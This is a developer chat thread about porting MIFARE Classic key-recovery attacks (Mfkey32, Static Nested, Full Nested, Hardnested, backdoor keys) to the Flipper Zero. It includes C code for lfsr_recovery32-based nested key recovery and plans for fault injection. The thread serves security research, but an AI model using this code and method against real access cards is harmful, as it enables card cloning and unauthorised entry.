#Advanced MIFARE attacks on the FZ

1 messages · Page 1 of 1 (latest)

regal storm
#

This project tracks the progress of bringing fast key calculation using various attacks against mainly MIFARE Classic to the Flipper Zero. Status:

Current:
Mfkey32: Complete 33 TBC
Static Nested: Complete
KDF: Relocated project
Static Encrypted: Solution found, running efficiently in MFKey
Dictionary attack improvements, NFC app Nested: Complete
Full Nested: Complete
Hardnested: Complete
Backdoor attacks: All 3 keys implemented, backdoor read
Attacks against MFDES and MFP, EMFI: Now


Join us here on Friday, Saturday, and Sunday! ![flipperlcd](https://cdn.discordapp.com/emojis/739096643961356358.webp?size=128 "flipperlcd")
#

Right now we're depending on -O3 and -funroll-all-loops, but we can likely get a measurable performance increase by rewriting the functions in ARM assembly to find optimizations the compiler missed.

#

For Nested: The current goal is to significantly reduce or eliminate the first lfsr_recovery32 state array.
For Full Nested: We fix the Flipper Zero's nonce prediction. I have an LimeSDR set up for this between the FZ and a vulnerable card to give us the timing information.
For Hardnested and beyond (e.g. static encrypted Nt): The same setup will be used to test EMFI attacks. We're going to cut the power as the key is seeded, hopefully resulting in a key with multiple null values that's easier to partially recover.

#

Okay, awesome. The median number of elements in the first Nested state array (from my 15 nonces here) is 77845.0. That's.. almost workable! 16 bits per value compressed omg

#

We can chunk the recovery into 3 stages and do it I'm pretty sure. 20-40 minutes average per key

#

(unoptimized Mfkey32)

regal storm
#

Today I got it down to 466 KB but I think I know a possible shortcut we can take here, using a bit of math

#

If the shortcut works we can get the average time down to 10 minutes unoptimized

mossy pagoda
#

Awesome! Keep posting updates as you get them going please, I'm interested

regal storm
#

Here's what I'm thinking. We can control the state of the LFSR during reauthentication/nested authentication, we know what the next value of the LFSR should be which becomes the Nt (nonce challenge) of the next sector.

#

Because we know what the next value is, we can execute a bruteforce attack using all of the possible keys identified by lfsr_recovery32 (usually only 70k or so) to find the one that correctly produces {Nt}

#

During a nested attack this is used to leak 32 bits, but I believe you can reuse it to confirm whether a key is the correct key

#

That would mean you don't need to intersect two massive lists if you can accurately predict the LFSR state, and what should be the next Nt value.

#

I'm thinking you can reauthenticate to the same sector you already authenticated to in order to get the next Nt nonce.

#

Maybe I don't completely understand this yet so I'll have to do more testing to figure out what the challenges are when you know the state of the LFSR after the first authentication

oak granite
regal storm
#

There's actually also the matter of fitting two recovery processes in memory too, which would likely mean 6 recoveries or up to an hour per key

#

If we can eliminate the two arrays by predicting Nt, that's going to be the way

#

1-10 min I'd guess

#

{Nt} with Nested authentications is the only time it shares ciphertext with a key from other sectors so any attack needs to be on that particular aspect of the exchange and what we can control at that point

oak granite
#

Maybe I'm missing something, but I saw only two lfsr_recovery32

regal storm
#

Because it can't fit 466 KB (the size of all of the states from the first array) in memory. And it still needs to fit parts of the second array in memory during the recovery process, so it would likely need to be a half speed Mfkey32 if we had to intersect the arrays in order to bring the memory usage down by half.

#

So it would need to chunk 466 KB into smaller blocks if a single lfsr_recovery and comparing the expected {Nt} isn't possible

#

I don't see any reason yet why it wouldn't be

queen spade
#

+1

regal storm
#

Mainly driver_wip.c but it doesn't compile on its own yet. Here's where we are at: if we can predict the state of the random number generator on the card, we can halve the memory requirements and run Nested very quickly.

#

The RNG is very predictable so it's entirely doable to the best of my knowledge.

queen spade
#

what's the current method of predicting the state of the rng

#

For Nested, For Full Nested, and For Hardnested are all For Loops trying to bruteforce it I assume?

oak granite
#

hardnested uses cryptographic flaws directly in crypto1, not prng

queen spade
#

Ahh okay

oak granite
#

full nested is @vague grotto invention for case where we know prng in semi range

regal storm
#

We're going to fix the nonce prediction here with some SDR's I have, unless he beats us to it 🙂 but for now we're focused on just the basic Nested attack

oak granite
regal storm
#

Was attending a memorial this past weekend. Going to make up for lost dev time today in 1.5 hrs, the goal today is to see if we can predict Nt. Then this weekend we'll make a function to test keys, (hopefully) eliminating the second array.

mystic pine
#

Godspeed to you

regal storm
#

24 hours did (3 days), memorial. Making it up the rest of today and this week

#

I started about 30 min ago

#

Trying to make sure there's enough time to solve it etc

regal storm
#

I've identified 2 different algorithms to avoid allocating two arrays for a Nested attack. Going to start debugging the card communication to see which ones will work

#
  1. Our algorithm: predicting Nt, running lfsr_recovery32, and finding what semi-states result in {Nt}. Need to determine if ks0 and ks1 are useful here.
  2. lfsr_recovery32 to get the first 32 bits of the key and bruteforcing the rest
regal storm
#

lol. I'm prepared

#

Going to poke at FlipperNested until I can get all of the values we might need from the cards

regal storm
#

I think we have a solution for the first Nested attack, Static Nested. I'm not sure why it would not work but we'll find out. We are writing the code, I have to head out for most of this evening though.

#

We're going to enumerate through all of the candidate keys as lfsr_recovery32 generates each of the ~70k possible states, and try to check if the corresponding key could generate the second keystream value. In literature this is ks2, FlipperNested calls it ks1.

#

We did something similar in Mfkey32 for one of the larger optimizations (checking if we already found a key for a given nonce without running lfsr_recovery32), but in this scenario we don't XOR ar.

#

Technically we only need a solution for Static Nested to be able to run Full Nested (assuming we fix the PRNG prediction).

#

So that will just leave Hard Nested.

#

(and any weird edge cases)

#

Also if this works the runtime won't be much different than Mfkey32, about 5 minutes per unique key recovered via the Nested attack.

#

(we plan to optimize Mfkey32 a bit more)

regal storm
#

I FINALLY got a static encrypted tag. WOOOOOOOO

#

I'll have to double check my cards to see if I have a full nested one, I think I have all of the types now

regal storm
#

We came up with a calibration optimization for Full Nested, going to look into that after we finish with Static Nested.

oak granite
#

and anyway no full nested on flipper computations 🙂

#

unless you perform magic and lfsr_recovery32 takes 10 seconds

regal storm
#

No full Nested needed if we fix the nonce prediction @oak granite

oak granite
regal storm
#

Well truthfully I don't understand nonce_distance, and it might explain why it fails to calibrate to certain cards I have in my possession.

oak granite
#

can you post logs there?

regal storm
#

I can find the exact offset from how many successive LFSR values have been produced. From that I can get the expected amount of time calibrated to the specific card, it should never fail but I can have a fallback method.

oak granite
#

is there comments that explains that it shouldn't calibrate to 800?

regal storm
#

It says it's calibrating for an hour

oak granite
#

then should fall to hardnested

#

and fail

#

you can implement faster method to detect them, as @vague grotto has none of them and can't test

regal storm
#

I'll get there, I luckily have 2 of the cards that are problematic. First we'll finish up Static Nested so we can move on to the nonce prediction issues

oak granite
#

It's a shame the Flipper has such bad MCU in terms of heavy computations

regal storm
#

We've eliminated both arrays in the Static Nested attack.

#

Now the Flipper Zero can do it

oak granite
#

good job

#

so you can now check if key possible for nonce?

regal storm
#

We can run lfsr_recovery once on ks1 and eliminate any state that would not have also generated ks0

#

We can do this check as it's running lfsr_recovery32 so neither (full) array needs to be in memory.

#

It also runs much faster

regal storm
#

So yeah, Static Nested will take ~5 minutes on the FZ unless I'm missing something.

#

We'll get it implemented and move on to Full Nested

oak granite
#

you will publish wip sources? Maybe I could get some inspiration for static encrypted ones

#

idk actually why intersection doesn't work

regal storm
#

It's unnecessary, we deleted it

oak granite
regal storm
#

They have exactly one shared key

oak granite
#

yes

#

so my idea was to intersect millions of keys possible on each sector

regal storm
#

We'll get to fixing that too, if we're able to. It's after Full Nested.

oak granite
#

distance doesn't depend on time at all

#

it depends on... unknown thing

#

#738046276138041415 message

regal storm
oak granite
regal storm
#

You can still do the attack

#

It is just a bit slower

#

at least based on my understanding of Nested right now

oak granite
#

I don't think the card will be alive after checking 100M keys on it lol

regal storm
#

You don't check 100M keys

#

you recover from the plaintext nt0, the key is guaranteed to be one of about 70k keys. Then you auth to the card for all of the possible keys

#

it takes a bit of time but the FZ does 1k keys pretty fast, so it might take 30 min maybe

oak granite
#

and one more stupid 6am question, will be distance same on same plaintext nt0 and different sector?

#

stupid idea, shouldn't work anyway

regal storm
#

distance doesn't matter except for the encrypted nonce

#

You're recovering from the plaintext nonce

#

You know what it is

#

and there are only ~70k candidates from there

oak granite
#

hm, hm

regal storm
#

so that's how you can probably solve the static encrypted nonce issue but we haven't gotten to it yet

oak granite
#

then we can do same on hardened card with 70k keys?

regal storm
#

I haven't looked at Hardnested yet

#

there may be some additional constraints

oak granite
#

that can't be so easy to just someone reinventing math to recover keys slightly faster

#

yea definitely missing some part where I need to do shifts on nt0

oak granite
regal storm
#

Note here that ks1 refers to the first encrypted keystream value.

#
int key_matches_ks1( uint32_t odd, uint32_t even, uint32_t uid, uint32_t nt0, uint32_t ks1 ) {
    struct Crypto1State temp = {odd, even};
    uint32_t expected_ks1 = crypto1_word(&temp, uid ^ nt0, 0);
    return ks1 == expected_ks1;
}
#

Tests against the known Nt, for Static Nested

#
    statelists[1].head.slhead = lfsr_recovery32(statelists[1].ks1, statelists[1].nt_enc ^ statelists[1].uid);
#
    struct Crypto1State *curstate;
    for (curstate = statelists[1].head.slhead; curstate->odd | curstate->even; curstate++) {
        if (key_matches_ks1 (curstate->odd, curstate->even, info->uid, info->nt0, info->ks0)) {
            printf("Matching LFSR state found: Even: %i, Odd: %i\n", curstate->even, curstate->odd);
        }
    }
#

This is all for Static Nested, to eliminate the 70k candidate keys to 1 key.

#

You have 70k candidates to begin with from the cleartext Nt and ks1: statelists[0].head.slhead = lfsr_recovery32(statelists[0].ks1, statelists[0].nt_enc ^ statelists[0].uid);

#

Each of those LFSR states maps back to 1 key

oak granite
#

ks1 depends on shifted nt0, I don't know how many times I need to shift nt0

regal storm
#

No it's the plaintext nt0 value

#

the one the card sends, it's the initial challenge

#

no shifting

oak granite
#

why then we need to know distance?

regal storm
#

to reduce it down to 1 key

#

I'm proposing that you don't need to

#

you could possibly bruteforce through the 70k keys from the first lfsr_recovery32 and get the key that way too

regal storm
#

fortunately plan A worked, and it's much faster (~5 min per key versus maybe 30 min)

#

but when a user has no other option, seems worth a shot

#

especially if the FZ has nothing to do in the meantime, and the average # of states it'll have to look through is 30k, not 70k

oak granite
#

for me even a week for a key is considerable time

regal storm
#

a week? 30k keys?

oak granite
#

millions

regal storm
#

It would take about 20-30 min at most

#

you wouldn't go through millions of keys. up to about 70k

oak granite
#

to run lfsr_recovery32 we need ks1 and our encrypted nt (we have it). ks1 = encrypted nt ^ prng_successor(plaintext nt, lfsr distance)

From all of that we don't have only distance, how can we run lfsr_recover32 without it? What am I missing?

oak granite
regal storm
#

it doesn't even take 15 min in the worst case scenario. takes 13 min worst case, the average is 7.5 min. The average is what matters because it'll return as soon as it finds the key, it doesn't calculate the entire LFSR table

#

we have 900 sec listed on the app because it's a safe number, we know it won't reach 900

oak granite
#

maybe some cfw will degrade performance, who knows

regal storm
#

users will experience the average time, not the maximum time

oak granite
#

now not, but previously

regal storm
#

We can use nt0 (plaintext), the cuid (plaintext), and ks1 (the first keystream value)

oak granite
#

why it is used then?

regal storm
#

70k key candidates versus 1 key

oak granite
#

wait you again saying about ks1, but ks1 depends on nt_enc

#

or you mean ks1 not in nested context?

#
ks1 = nt2 ^ nttest;```
I'm about this
regal storm
#

ks1 in FlipperNested isn't ks1

#

@vague grotto refers to ks1 as ks0

#

and ks2 as ks1

#

in literature/papers, there is no such thing as ks0. Only ks1, 2, (..)

oak granite
#

so in this exact code it is ks2?

regal storm
#

if you can't get ks1, then it won't work

#

ks1 is the first 32 bit keystream value

#

after the one that's discarded

oak granite
#

that's where I started, I only know a lot of possible ks1 values (2k), then filter them via valid_nonce(...) and after running lfsr_recovery32 I get my millions of keys

regal storm
#

Do you know ks2 or ks3

oak granite
#

won't they will be same, as nt_enc is same?

regal storm
#

if they are the same, that's really weird. Because it's a successive value from the LFSR

#

the 48-bit LFSR

oak granite
#

who knows what they do in Chinese factories...

regal storm
#

if that ends up being the case, there might be a way to exploit the LFSR differently. But we'll get there. I still have 4 months

#

until then we can celebrate Static Nested working and fix any edge cases with it party

oak granite
#

nt_enc depends on UID, key and what is more strange, sector number

#

and doesn't change in any case you are trying to access it, through multiple sectors, running commands, etc

oak granite
regal storm
#

no need to guess Nt

oak granite
#

if you want to slice and inspect chips 🙂

regal storm
#

oh I missed the "key"

#

that's REALLY interesting

oak granite
#

and adding sector number gives us ability to intersect between them. Backdoor?

regal storm
#

in fact, that might be a really simple backdoor if you can derive key data from Nt

#

Yes

#

those might be more broken than Static Nested

oak granite
#

I will do some experiments on decrypted nt_enc, if it changes with key it's strange

#

but later

oak granite
regal storm
#

if Nt is based on the key, we can significantly reduce the entropy of the PRNG to help recover the key

oak granite
#

there is very small entropy, plain nt regularly appears same

#

on some cards pm3 actually marks it as static nonce

#

sometimes, but still

#

and one more fun thing: there are 7b cards, all UID on them ending on 00 00 03 troll

#

I have multiple of them, but can't verify that they are all static encrypted

regal storm
#

It'll really help if we can get traces of the communication with them from a proxmark3

oak granite
#

and first byte is always 1D

#

so you just get 3 bytes for possible UIDs

oak granite
#

flipper/phone?

#

or if you like exotics: acr122u, pn532, mfrc522

regal storm
#

Just need cuid, sector, key if any are known, nt0, nt1, ks0 and 1 if possible, and parity at a minimum. I wonder if the readers are vulnerable to mfkey32, or if they're just completely non-standard

oak granite
#

readers are actually standard and will be vulnerable

#

it's beginning to spread slowly

harsh cobalt
regal storm
#

The other benefit, besides the memory usage falling into the territory the FZ can handle, is that the ks1 optimization speeds up Nested by 100%.

#

I just benchmarked it

#

Original code:

static int compare_uint64(const void *a, const void *b) {
    if (*(uint64_t *) b == *(uint64_t *) a) return 0;
    if (*(uint64_t *) b < *(uint64_t *) a) return 1;
    return -1;
}

// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.
static uint32_t intersection(uint64_t *listA, uint64_t *listB) {
    if (listA == NULL || listB == NULL)
        return 0;

    uint64_t *p1, *p2, *p3;
    p1 = p3 = listA;
    p2 = listB;

    while (*p1 != UINT64_MAX && *p2 != UINT64_MAX) {
        if (compare_uint64(p1, p2) == 0) {
            *p3++ = *p1++;
            p2++;
        } else {
            while (compare_uint64(p1, p2) < 0) ++p1;
            while (compare_uint64(p1, p2) > 0) ++p2;
        }
    }
    *p3 = UINT64_MAX;
    return p3 - listA;
}

static int compare_16bits(const void *a, const void *b) {
    if ((*(uint64_t *) b & 0x00ff000000ff0000) == (*(uint64_t *) a & 0x00ff000000ff0000)) return 0;
    if ((*(uint64_t *) b & 0x00ff000000ff0000) > (*(uint64_t *) a & 0x00ff000000ff0000)) return 1;
    return -1;
}
#

Original code cont.:

static bool nested_calculate(InfoList_t *arg) {
    InfoList_t *info = arg;
    struct Crypto1State *p1, *p2, *p3, *p4;
    StateList_t statelists[2];

    for (uint8_t i = 0; i < 2; i++) {
        statelists[i].uid = info->uid;
    }

    statelists[0].nt_enc = info->nt0;
    statelists[0].ks1 = info->ks0;

    statelists[1].nt_enc = info->nt1;
    statelists[1].ks1 = info->ks1;

    // create and run worker threads
    statelists[0].head.slhead = lfsr_recovery32(statelists[0].ks1, statelists[0].nt_enc ^ statelists[0].uid);
    statelists[1].head.slhead = lfsr_recovery32(statelists[1].ks1, statelists[1].nt_enc ^ statelists[1].uid);

    for (p1 = statelists[0].head.slhead; p1->odd | p1->even; p1++) {}
    for (p2 = statelists[1].head.slhead; p2->odd | p2->even; p2++) {}

    statelists[0].len = p1 - statelists[0].head.slhead;
    statelists[0].tail.sltail = --p1;

    statelists[1].len = p2 - statelists[1].head.slhead;
    statelists[1].tail.sltail = --p2;

    qsort(statelists[0].head.slhead, statelists[0].len, sizeof(uint64_t), compare_16bits);
    qsort(statelists[1].head.slhead, statelists[1].len, sizeof(uint64_t), compare_16bits);

    p1 = p3 = statelists[0].head.slhead;
    p2 = p4 = statelists[1].head.slhead;

    while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {
        if (compare_16bits(p1, p2) == 0) {

            struct Crypto1State savestate;
            savestate = *p1;
            while (compare_16bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) {
                *p3 = *p1;
                lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0);
                p3++;
                p1++;
            }
            savestate = *p2;
            while (compare_16bits(p2, &savestate) == 0 && p2 <= statelists[1].tail.sltail) {
                *p4 = *p2;
                lfsr_rollback_word(p4, statelists[1].nt_enc ^ statelists[1].uid, 0);
                p4++;
                p2++;
            }
        } else {
            while (compare_16bits(p1, p2) == -1) p1++;
            while (compare_16bits(p1, p2) == 1) p2++;
        }
    }

    p3->odd = -1;
    p3->even = -1;
    p4->odd = -1;
    p4->even = -1;
    statelists[0].len = p3 - statelists[0].head.slhead;
    statelists[1].len = p4 - statelists[1].head.slhead;
    statelists[0].tail.sltail = --p3;
    statelists[1].tail.sltail = --p4;

    qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);
    qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);
    // Create the intersection
    statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);

    if (!info->free) {
        for (uint32_t i = 0; i < statelists[0].len; i++) {
            char *ch = malloc(14);
            uint64_t key64 = 0;

            crypto1_get_lfsr(statelists[0].head.slhead + i, &key64);
            snprintf(ch, 14, "%012" PRIx64 ";", key64);
            for (uint32_t j = 0; j < 14; j++) {
                strncat(info->keys, &ch[j], 1);
            }
            free(ch);
        }
    }

    free(statelists[0].head.slhead);
    free(statelists[1].head.slhead);

    if (statelists[0].len) {
        return true;
    } else {
        return false;
    }
}
#

New code:

int key_matches_ks1( uint32_t odd, uint32_t even, uint32_t uid, uint32_t nt0, uint32_t ks1 ) {
    struct Crypto1State temp = {odd, even};
    uint32_t expected_ks1 = crypto1_word(&temp, uid ^ nt0, 0);
    return ks1 == expected_ks1;
}

static bool nested_calculate(InfoList_t *arg) {
    InfoList_t *info = arg;
    struct Crypto1State *p4;
    StateList_t statelists[2];
    for (uint8_t i = 0; i < 2; i++) {
        statelists[i].uid = info->uid;
    }
    statelists[1].nt_enc = info->nt1;
    statelists[1].ks1 = info->ks1;
    statelists[1].head.slhead = lfsr_recovery32(statelists[1].ks1, statelists[1].nt_enc ^ statelists[1].uid);
    for (p4 = statelists[1].head.slhead; p4->odd | p4->even; p4++) {}
    p4->odd = -1;
    p4->even = -1;
    struct Crypto1State *curstate;
    for (curstate = statelists[1].head.slhead; curstate->odd | curstate->even; curstate++) {
        if (key_matches_ks1 (curstate->odd, curstate->even, info->uid, info->nt0, info->ks0)) {
            uint64_t key64 = 0;
            crypto1_get_lfsr(curstate, &key64);
            printf("%lx\n", key64);
        }
    }
    free(statelists[1].head.slhead);
    return false;
}
#

They both do the same thing. But the latter is much shorter, twice as fast, and consumes half the memory.

#

should be 95% less memory when it gets dropped in to the current Mfkey32 implementation, but we need to adjust the recovery code from Mfkey32 to be compatible

harsh cobalt
#

If you ever run out of things to solve, mfkey32 only works on the first auth, if you have a reader that say uses MAD (so auths to sector 0 first with a known key), then after does a nested auth to another sector (likely looked up from the MAD) you can't use the nonces from the latter to feed into mfkey32 because they're encrypted with the new sectors keys at that point. There's a few usecase that it'd be handy for being able to do that

regal storm
#

That's a good point. I'll have to look at the encrypted values sent by the reader during Nested authentication, while emulating a card with partially known keys.

vague grotto
#

@regal storm I can't auth with their bot to get contributor badge. #community-dev message. Can you resend this message there?
I would suggest not add just nested support, but in general add support for key calculation in external applications. There are plenty of tags where KDF is known and it'll make it possible to implement that without embedding it in the firmware.

#

Regarding nested key calculation in android mobile application: I have almost implemented everything, I just need to add file deletion after calculation and I think I will do PR next week (no hardnested)

regal storm
vague grotto
#

Where else I can PR troll ?

regal storm
#

Well, I wasn't sure if it was to the official app or a custom app you developed. I looked at your GitHub to see if there was a custom app but it could have been private.

#

also not sure if you're following along @vague grotto but there are some significant optimizations to the key recovery that can be made. It's already 100% faster with half the memory and significantly less code without touching the Crypto1 library.

vague grotto
#

Was in plans... but I don't have such experience to write android app from scratch

#

And even while modifying app I encouraged error, still don't know what causes it, I've spent like 2 weeks removing and adding code, then somehow it was fixed

vague grotto
#

I hope he figured it out and should dig into static encrypted tag today

regal storm
#

Yeah as long as you can get the first keystream value and the plaintext nt/cuid, you should be able to recover the keys on those tags you were having trouble with with 70k auths to the card.

#

between users waiting 20-30 min and users having no option, they'll likely go for the 20-30 min option. But Static Nested will run at ~5 minutes per key, I'm developing the FAP now

#
        canvas_draw_str_aligned(canvas, 7, 20, AlignLeft, AlignTop, "Collect nonces using Detect");
        canvas_draw_str_aligned(canvas, 7, 30, AlignLeft, AlignTop, "Reader or FlipperNested.");
        canvas_draw_str_aligned(canvas, 7, 40, AlignLeft, AlignTop, "Devs: noproto, AG, ALiberty");
        canvas_draw_str_aligned(canvas, 7, 50, AlignLeft, AlignTop, "Thanks: bettse, Foxushka");
#

🙂

#
// Nested TODO:
// 1. Scan for nonce files in nfc/.nested/
// 2. Ensure "distance" isn't in the last line of the file
// 3. Check for known keys
// 4. Add "in" parameter back into recovery process (from lfsr_recovery32)
// 5. Pass: lfsr_recovery32(ks2, nt_enc ^ cuid)
// 6. Use key_matches_ks1 in Nested mode of recovery to validate keys (making sure it has all of the Crypto1Params)
#

Also the ks1 trick allows us to figure out if we already have a key for a particular nonce, allowing us to speed up the attacks a LOT.

#

It's the equivalent of key_already_found_for_nonce in Mfkey32.

#

So Nested attacks will follow the same process, we check if we already found the key and skip it if we have.

oak granite
regal storm
#

If you can predict the decrypted nt_enc value, you can reduce it down to 1 possible key.

#

If you can't do that, you'll need to test 70k keys

oak granite
#

if you don't know decrypted nt_enc you can't do anything

oak granite
regal storm
#

You can do something (based on my understanding), you'll just need to be patient for 20-30 min while it authenticates an average of 30,000 times to the card.

oak granite
#

that's falls to hardnested probably

#

regular nested assumes we know decrypted nt_enc

#

maybe even possible, but I haven't seen any code

regal storm
#

Haven't checked out Hardnested yet but we will soon hopefully. I think I have a hardened card somewhere in my pile of cards. At this rate we have a possible solution to every attack short the one attack we haven't looked at.

oak granite
#

you can crack any card (except static*) via hardnested

#

it relies on vulnerabilities in crypto1 algorithm

#

regular nested relies on prng

#

I don't understand hardnested at all, way to hard for me

#

neither @vague grotto sad

regal storm
#

For Hardnested we just need to make a flamegraph of the functions

#

I took a quick look at it just now, it's using the heavily unoptimized Crapto1 library

#

When I ran a flamegraph of Mfkey32 there was a single function that was the culprit of 90% of the CPU time. Expecting the same thing here given that it's using the same library

oak granite
#

craptev1

#

you can check it

#

from bla who created crapto1

#

but for now only way to access it is to contact bla via email and ask for it

#

||or search internet, but I didn't say you anything ||

#

good code != fast code

regal storm
# oak granite craptev1

I just looked at craptev1 and it also uses the one inefficient function that runs 90% of the time.

regal storm
#

I feel like I'm going to be spoiling it if I mention what the function is lol

oak granite
#

but you anyway can't modify it

#

😥

#

but still works on top of craptev1

#

but you could try contacting bla and ask for permission to modify it, maybe with your background in crapto1 optimization he (?) will allow you

regal storm
#

I guarantee nobody ran a flamegraph on any of these implementations, because they're all running the same (slow) function. Ours will be much faster. And we check ours on ~200 nonces across multiple cards to make sure it doesn't lose functionality.

#

The function is their hamming weight function

#

the function used to calculate the parity

#

If you use the gcc built-in one, it assumes you have no memory to spare and uses an inefficient algorithm. When you use a lookup table on a system with an L1 cache it runs significantly faster.

#

that's the one function it's running 90% of the time

#

When I used a partial lookup table it ran 40 times faster on my benchmarks, not even the full lookup table. But the full lookup table is not an option on the Flipper Zero, and the FZ doesn't have an L1 cache.

#

So, we'll run a flamegraph and see how low we can get Hardnested to go. Besides the EMFI attacks to interrupt the PRNG.

oak granite
#

interesting how static encrypted will react on it

oak granite
#

static encrypted research tonight sweat

regal storm
#

Two TODO items down for Static Nested support, four items to go.

#

I'm not the only one working on it, so progress is being made on Full Nested while Static Nested goes into the new MFKey app.

oak granite
oak granite
regal storm
#

As far as we can tell, FlipperNested named the variables incorrectly?

oak granite
regal storm
#

I have like 10 different ways that are supposed to be "the way to calculate ks1"

#

FZ emulator steps:

  1. Init with key
  2. crypto1_word cuid ^ nt0,0
  3. crypto1_word 0,0 (equal to 64th successor to nonce for whatever reason?)
  4. ks1 = encrypted 96th successor to nonce at this stage
#

ks1 = cipher(K, uid, nT)
ks2, ks3... = cipher(K, uid, nT, nR)

#

So all you should need is nt0

oak granite
#

isn't it

regal storm
#

nt0 is sent plaintext so I fail to see what we're missing

oak granite
#

I'm decrypting not nt0

#

but second

#

that is encrypted

#

nt0 out of my interest now

regal storm
#

For whatever reason, nt0 and ks1 are used to determine the LFSR state in FlipperNestedRecovery and one of the 70k states is the key to the sector

#

So either something is named incorrectly in FlipperNested or you can reduce the states with the plaintext nT

oak granite
#

to recover possible keys we need encrypted data (nt1_enc) and decrypted data (nt0 + prng_successor)

#

this provides us 70k keys

#

and in exactly static encrypted nonce we don't know decrypted data

regal storm
oak granite
#

we know it in very far range

#

maybe

#

I was looking for ways how we can find out the second nt other than nt0 + distance as we can't do it correctly on static encrypted

#

but those chinese .... aren't so stupid

regal storm
#

You can reduce the keyspace a lot with that info

oak granite
#

but we don't know how its calculated

regal storm
#

You have at least one key though right? And the corresponding sector # and plaintext nT?

#

and cuid

oak granite
#

yes

#

it depends on everything

key + sector number + cuid

#

doesn't depend on key type

#

A/B

#

maybe block to auth, but probably tested already

#

block no

regal storm
oak granite
#

I will try old flipper firmware where distance behavior was different and then collect you some

#

same

#

so only nt0 differs

regal storm
#

To be honest I'm a little lost without reimplementing FlipperNested myself because the names of the variables aren't lining up with the papers, so it's all over the place. I don't know what's the correct way of generating each value, I'll probably need to rewrite it for Full Nested and I'll know exactly what's available to us.

#

Like at a minimum, what is ks0? ks0 doesn't exist in literature so why is it in FlipperNested?

#

I'm speculating that's supposed to be ks1

#

That's why I named the validation function key_matches_ks1. If we don't know what we have available we're just going to keep going in circles.

#

This is what we have.

oak granite
#

it is used only for transport

oak granite
regal storm
#

It's in the NestedSolver component

oak granite
#

it is used only in transport

#

to show first ks1 and second ks1

#

ks10 and ks11 is more clear to you?

regal storm
#

That's absolutely more clear

#

Now I understand what it is

oak granite
#

@vague grotto created versioning in files, so we can change it

#

but maybe better to add to FAQ

#

unsure if someone will actually research it except you

regal storm
#

You have no idea how much that clears all of this up. So nt0 is the first nT1 (nt_enc), and nt1 is the second nT1 (nt_enc)?

#

When we saw nt0 in the nonce file we assumed that was... nT0. The plaintext nonce.

oak granite
#

😅

regal storm
regal storm
# oak granite

It kills me how much time we wasted to the naming trying to figure out why we could recover the key from the plaintext nT, it was like a week of development.

oak granite
#

lolllll

#

rip

#

😅

regal storm
#

We still have Static Nested solved but I need to re-evaluate a few attacks

oak granite
#

then everything that you said to me previously was also misinterpretation based on that?

regal storm
#

Yes

oak granite
#

😅

#

@vague grotto saying that he is sorry for that and that he just copied the format from the mfkey32 and it too has nt0 and nt1

regal storm
#

No worries! I only screamed for like 5 minutes at most. Can you confirm nt0 is the first nt1_enc though?

#

If you can't be sure I'll go back and validate

#

This is making everything crystal clear and I can start diagramming the values we have party

#

It's a huge help

oak granite
#

I'm not sure what is nt1_enc

#

but nt0 is decrypted nt1

regal storm
#

We're guessing that for Full Nested, it's the median value or something and you do +/- the distance. The other person who is working on it from our dev group is working on understanding it while I finish up Static Nested

#

as in you calculate all of the LFSR states within the distance, so the goal is narrowing the distance. And the LFSR shifts its state every 9 nanoseconds so it's a challenge, he's got the distance calculation working

oak granite
#

not exactly

#

it depends on card

#

maybe for genuine nxp is 9

#

but not for all

regal storm
#

Right

#

We saw that comment in the source too

oak granite
#

10 days for initial static nested implementation

#

and it could have remained a static nested application only...

oak granite
#

@regal storm and little more bad news for you
Since now NFC and other apps are on SD Card and loaded on demand... we now have Free heap size: 75520 after we start NFC app
And after fitting your recovery code and even minimal nested I think we will get near 50k free and end slow calculation 😧

regal storm
#

The NFC app is loaded from the SD? It's not an extapp

oak granite
#

Now it is

regal storm
#

Since when is it no longer a plugin?

oak granite
#

since 0.87.0

#

All Main apps (SubGhz, NFC, RFID, etc...) now live on SD

#

I thought it would just load from SD on startup, but no

#

Free heap size: 140080 -> 75488 after app startup

regal storm
oak granite
#

move mifare classic reading to external app, unload whole NFC, load only required part

regal storm
#

It's not too consequential, the NFC app could spawn a second extapp and release all of its memory or offload to Bluetooth with the companion app. At least Nested nonce collection can be moved into the NFC app still but that takes away being able to save 20 kilobytes (and reliably run the fastest cracking attack on the FZ).

oak granite
regal storm
#

We're planning on trying to get the attack down to 2.5 min on average instead of 5 so it'll make sense almost every time to do it on-device. There are still small optimizations in Mfkey32

oak granite
#

rewrite to asm 😆

regal storm
#

That's actually part of it

oak granite
#

oh no

#

hardnested optimizations canceled 😢

regal storm
#

gcc -O3 doesn't produce fully optimized code but we can make, for instance, the filter function much faster

#

so the plan is to disassemble and optimize it faster than the compiler's assembly

#

^ inspiration

oak granite
#

I forgot to collect you decrypted nt from static encrypted cards

regal storm
#

In that post they reduced the execution time by 95% by optimizing the assembly. I don't think we'll get that kind of victory, but if we did then keys would crack in 30 seconds

#

(worst case)

#

Average would be around 15 seconds per key

#

In other words, Nested would be the primary way to read Mifare Classic cards because it would be faster than a dictionary bruteforce

oak granite
#

btw dictionary bruteforce can be speed up too

#

like proxmark is checking ~80 keys per second

#

or if you have experience with tracing functions, you might check what takes so much time in emulation (and optimize it)

regal storm
#

I believe I found a filter optimization last night, in Mfkey32

regal storm
#

1.5 KB of RAM looks like it's wasted to the app icon

#

I'm in the process of optimizing the assembly of various Mfkey32 functions

#

I've spent all day today on optimizing filter and it was fruitless, so assembly optimization is the way to go.

regal storm
#

🔥📈
filter: 30.88%
state_loop: 25.35%
evenparity32: 20.40%
update_contribution: 6.97%
rollback_word_noret: 5%
calculate_msb_tables: 4.18%
crypt_word_noret: 2.33%
crypt_word: 1.03%
quicksort: 0.45%

#

We need to asm optimize filter, state_loop, and evenparity32

#

they make up 7.5 minutes of the 10 minute runtime on the Flipper Zero

#

The good news is, we already started on an asm optimized filter function last night

regal storm
#

@oak granite @vague grotto FW developers (skotopes) response:

  • Nested merged into the official NFC application: Will be approved if well-formatted code is submitted via PR to new NFC stack
  • KDF's merged into bruteforce of the official NFC application: Will be approved but confidentiality of the KDF may be a consideration
#

